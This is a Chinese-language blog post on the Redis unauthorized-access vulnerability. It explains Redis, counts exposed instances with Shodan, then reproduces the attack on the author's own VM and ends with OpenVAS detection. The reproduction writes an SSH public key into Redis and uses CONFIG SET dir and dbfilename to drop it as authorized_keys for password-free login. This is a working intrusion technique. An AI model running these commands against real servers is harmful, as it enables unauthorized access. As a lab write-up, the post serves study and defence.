redis未授權(quán)訪問漏洞


redis未授權(quán)訪問漏洞


了解漏洞

redis是什么?

通過查閱資料可知,redis即為key-value數(shù)據(jù)庫中的一種。這有點用名詞解釋名詞了,但是這有必要先解釋一下key-value數(shù)據(jù)庫。
Key-value數(shù)據(jù)庫顧名思義就是利用鍵和數(shù)據(jù)值相對應(yīng)存儲的一種數(shù)據(jù)庫,就類似于java中的map。我們整個數(shù)據(jù)庫就可以看成一個大的map,在map中一個特地的key對應(yīng)一個唯一的value。
同時我們redis作為key-value數(shù)據(jù)庫的一種他支持很多很多的value的類型,redis也是一種內(nèi)存型的數(shù)據(jù)庫,所以可以提供高效率的讀寫,但同時他占用cpu將會很高。在內(nèi)存上操作, 我們很容易想到數(shù)據(jù)的持久化的問題,不用擔(dān)心,redis可以將數(shù)據(jù)持久化到硬盤中,所以在對不同數(shù)據(jù)集進(jìn)行高速讀寫時需要權(quán)衡內(nèi)存,因為數(shù)據(jù)量不能大于硬件內(nèi)存。
看看網(wǎng)上說的reids相對于其他key-value數(shù)據(jù)庫的三大優(yōu)點:
·Redis支持?jǐn)?shù)據(jù)的持久化,可以將內(nèi)存中的數(shù)據(jù)保存在磁盤中,重啟的時候可以再次加載進(jìn)行使用。
·Redis不僅僅支持簡單的key-value類型的數(shù)據(jù),同時還提供list,set,zset,hash等數(shù)據(jù)結(jié)構(gòu)的存儲。
·Redis支持?jǐn)?shù)據(jù)的備份,即master-slave模式的數(shù)據(jù)備份。

redis未授權(quán)訪問漏洞

Redis在默認(rèn)情況會將服務(wù)綁定在0.0.0.0:6379上,從而將服務(wù)暴露在公網(wǎng)環(huán)境下,如果在沒有開啟安全認(rèn)證的情況下,可以導(dǎo)致任意用戶未授權(quán)訪問Redis服務(wù)器并Redis進(jìn)行讀寫操作。攻擊者在未授權(quán)訪問Redis服務(wù)器時可以通過上傳公鑰的方法將自己的公鑰上傳到Redis服務(wù)器上,達(dá)到免密登陸的效果。

具體漏洞描述

Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網(wǎng)絡(luò)中, 因為讓不受信任的客戶接觸到 Redis 是非常危險的” 。
Redis 作者之所以放棄解決未授權(quán)訪問導(dǎo)致的不安全性是因為, 99.99% 使用 Redis 的場景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時也增加了復(fù)雜性, 雖然這個問題的并不是不能解決的, 但是這在他的設(shè)計哲學(xué)中仍是不劃算的。
因為其他受信任用戶需要使用 Redis 或者因為運維人員的疏忽等原因,部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis 的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,將會導(dǎo)致
Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進(jìn)行相關(guān)操作。
利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接使用對應(yīng)的私鑰登錄目標(biāo)服務(wù)器。

漏洞危害

如果攻擊者進(jìn)入了我們的redis服務(wù)器,他便可以自由下載數(shù)據(jù)庫中的文件,造成信息泄露,造成個人隱私泄露或者公司機密泄露,造成巨大損害。同時如果攻擊者進(jìn)行提權(quán)獲取更大的權(quán)限,還會產(chǎn)生更大的危害。
我嘗試使用Shodan對公網(wǎng)上的開放的redis進(jìn)行搜索(port:6379):


1.png

我們可以看到一共有87881個結(jié)果,其中我國位列榜首。。。。國人的安全意識還是有待提高。
看一下具體地圖分布吧:


2.png

兩次搜索數(shù)量有一點不一樣。
3.png

榜首竟然是杭州阿里巴巴。

漏洞的復(fù)現(xiàn)和利用

安裝redis(我采用源碼安裝)

首先下載源碼然后編譯安裝

$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make

編譯完成:


4.png

配置文件

在Src目錄下,有四個可執(zhí)行文件redis-server、redis-benchmark、redis-cli和redis.conf(這個在安裝目錄)。然后拷貝到一個目錄下。

$ mkdir /usr/redis
$ cp redis-server  /usr/redis
$ cp redis-benchmark /usr/redis
$ cp redis-cli  /usr/redis
$ cp redis.conf  /usr/redis
$ cd /usr/redis

開啟redis服務(wù)

直接進(jìn)入剛剛創(chuàng)建的redis文件夾后執(zhí)行

$ ./redis-server ./redis.conf
5.png

檢查是否成功開啟

6.png

配置redis,使他處于漏洞狀態(tài)

我直接開啟了redis,此時沒有認(rèn)證,redis的默認(rèn)就是這樣,然后我只需要將redis更改綁定在0.0.0.0:6379就可以,在redis.conf里面更改就行了。


7.png

嘗試使用namp掃描了一下我的6379端口

8.png

可以看到一下子就可掃描出信息,而且包含一下敏感信息。

嘗試?yán)胷edis客戶端進(jìn)行未授權(quán)訪問

9.png

果然,很成功就進(jìn)入了,上門查看了主機信息(信息在下面,沒截圖)

開啟公鑰登錄

生成公鑰:

$ ssh-keygen -t rsa //rsa加密
10.png

然后將公鑰寫入文本:

$ cd ~/.ssh/
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt

將1.txt寫入redis

$ cat 1.txt | /usr/redis/./redis-cli -h 127.0.0.1  -x set crack

利用redis客戶端連接

$ ./redis-cli -h 127.0.0.1

獲取redis備份路徑,更改redis備份路徑,設(shè)置備份文件的名稱為authorized_key

$ CONFIG GET dir
$ CONFIG SET dir /home/r_song/.ssh     //更改目錄到r_song下
$ CONFIG SET dbfilename authorized_keys  
$ CONFIG GET dbfilename     //獲取確認(rèn)一下更改成功
$ Save        //保存

然后用ssh進(jìn)行連接即可(在.ssh路徑執(zhí)行,并先把我們虛擬機的ssh服務(wù)打開)

$ ssh –i  id_rsa ******@127.0.0.1

就可以成功登錄。

使用openvas對我們存在漏洞的系統(tǒng)進(jìn)行掃描

查掃描結(jié)果(在上一篇博客介紹了openvas)

12.png

從圖中我們可以看到,redis-1我是使用默認(rèn)的掃描方式,然后redis2是掃描的all tcp and namp 5.1 top100掃描的但是結(jié)果不一樣。我們重點看redis2這個掃描結(jié)果:


13.png

可以看到掃描出了redis服務(wù)沒有密碼。

了解openvas使用的各種插件,即nvt是什么

Nvt(network vulnerability tests)即網(wǎng)絡(luò)漏洞測試,是openvas中的免費的掃描插件。我可以在線同步獲取這個插件(openvas-nvt-sync)或者離線下載。


14.png

這是我在官網(wǎng)上找到的openvas工作的圖,可以看到,openvas的插件nvt是在openvas scanner提供服務(wù)的。nvt就是根據(jù)不同的需求調(diào)用nasl腳本進(jìn)行檢測。

對應(yīng)掃描該漏洞的nvt是什么?

在掃描結(jié)果中可以找到nvt的名稱,以及OID編號,在 http://www.openvas.org/openvas-nvt-feed.html 中可以根據(jù)OID編號查找對應(yīng)nvt的文件名是什么,然后可以在/var/lib/openvas/plugins/目錄下,找到該文件。

15.png

找到指定文件:
16.png

17.png

前面是這個nvt的一些信息,比如oid,version,還有危險評分等。Family是屬于database的?;具@些都是信息。
18.png

主要就是后面幾行,先獲取了端口信息,確定端口是否打開:get_app_port()。然后使用get_kb_item(〈name〉)函數(shù)可以獲得基本信息的〈name〉項的值,這個函數(shù)是匿名函數(shù)。通過測試no_password如果成功了就說明有這個漏洞,然后退出。后面是加密信息端口號。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容